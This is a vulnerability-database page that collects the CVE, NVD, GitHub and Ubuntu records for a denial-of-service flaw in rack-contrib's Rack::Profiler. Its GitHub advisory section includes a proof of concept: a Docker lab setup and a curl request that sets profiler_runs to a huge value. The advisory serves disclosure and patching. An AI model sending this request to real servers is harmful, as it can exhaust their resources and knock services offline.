Vulnerability-Lookup

CVE-2024-35231 (GCVE-0-2024-35231)

Vulnerability from cvelistv5 – Published: 2024-05-27 16:40 – Updated: 2024-08-02 03:07

Title

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

Summary

rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-05-28 16:15 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7580 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/rack/rack-contrib/security/adv…	x_refsource_CONFIRM
https://github.com/rack/rack-contrib/commit/0eec2…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
rack	rack-contrib	Affected: < 2.5.0	guessed
rack	rack-contrib	Affected: 0 , ≤ 2.4 (custom) cpe:2.3:a:rack:rack-contrib::::::::

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2024-35231

Vulnerability from fkie_nvd - Published: 2024-05-27 17:15 - Updated: 2026-06-17 07:34

Severity

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7
	security-advisories@github.com	https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869
	af854a3a-2127-422b-91ae-364da2661108	https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7
	af854a3a-2127-422b-91ae-364da2661108	https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
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    {
      "lang": "es",
      "value": "rack-contrib proporciona middleware y utilidades de rack para Rack, una interfaz de servidor web Ruby. Las versiones de rack-contrib anteriores a la 2.5.0 son vulnerables a la denegaci\u00f3n de servicio debido al hecho de que los datos controlados por el usuario \"profiler_runs\" no estaban sujetos a ninguna limitaci\u00f3n. Esto conducir\u00eda a la asignaci\u00f3n de recursos en el lado del servidor sin limitaci\u00f3n y a una posible denegaci\u00f3n de servicio mediante datos controlados remotamente por el usuario. La versi\u00f3n 2.5.0 contiene un parche para el problema."
    }
  ],
  "id": "CVE-2024-35231",
  "lastModified": "2026-06-17T07:34:35.400",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-35231",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-05-28T16:15:04.828030Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-05-27T17:15:09.760",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8C8Q-2XW3-J869

Vulnerability from github – Published: 2024-05-28 15:48 – Updated: 2024-05-31 20:42

Summary

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

Details

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack-contrib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-35231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-28T15:48:43Z",
    "nvd_published_at": "2024-05-27T17:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params[\u0027profiler_runs\u0027] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire \u0027rack\u0027\nrequire \u0027rack/contrib\u0027\n\nuse Rack::Profiler # if ENV[\u0027RACK_ENV\u0027] == \u0027development\u0027\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource \u0027https://rubygems.org\u0027\n\ngem \u0027rack\u0027, \u0027~\u003e 2.0\u0027\ngem \u0027rack-contrib\u0027, \u0027~\u003e 2.4\u0027\ngem \u0027rackup\u0027\ngem \u0027ruby-prof\u0027\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n",
  "id": "GHSA-8c8q-2xw3-j869",
  "modified": "2024-05-31T20:42:29Z",
  "published": "2024-05-28T15:48:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack-contrib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter"
}

UBUNTU-CVE-2024-35231 (CVE-2024-35231)

Vulnerability from osv_ubuntu – Published: 2024-05-27 17:15 – Updated: 2025-10-24 05:09 – Source website

Details

rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.

Severity

8.6 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2024-35231	REPORT
	https://www.cve.org/CVERecord?id=CVE-2024-35231	REPORT
	https://github.com/rack/rack-contrib/security/adv…	REPORT
	https://github.com/rack/rack-contrib/commit/0eec2…	REPORT
	https://github.com/rack/rack-contrib/commit/0eec2…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-rack-contrib",
            "binary_version": "1.3.0-3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:16.04:LTS",
        "name": "ruby-rack-contrib",
        "purl": "pkg:deb/ubuntu/ruby-rack-contrib@1.3.0-3?arch=source\u0026distro=xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.0-1build1",
        "1.3.0-2",
        "1.3.0-3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-rack-contrib",
            "binary_version": "1.3.0-3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "ruby-rack-contrib",
        "purl": "pkg:deb/ubuntu/ruby-rack-contrib@1.3.0-3?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.0-3"
      ]
    }
  ],
  "aliases": [],
  "details": "rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.",
  "id": "UBUNTU-CVE-2024-35231",
  "modified": "2025-10-24T05:09:12Z",
  "published": "2024-05-27T17:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2024-35231"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35231"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2024-35231"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-35231 (GCVE-0-2024-35231)

FKIE_CVE-2024-35231

GHSA-8C8Q-2XW3-J869

Summary

PoC

Impact

UBUNTU-CVE-2024-35231 (CVE-2024-35231)

Tags

Sightings

Nomenclature

Related by attack behaviour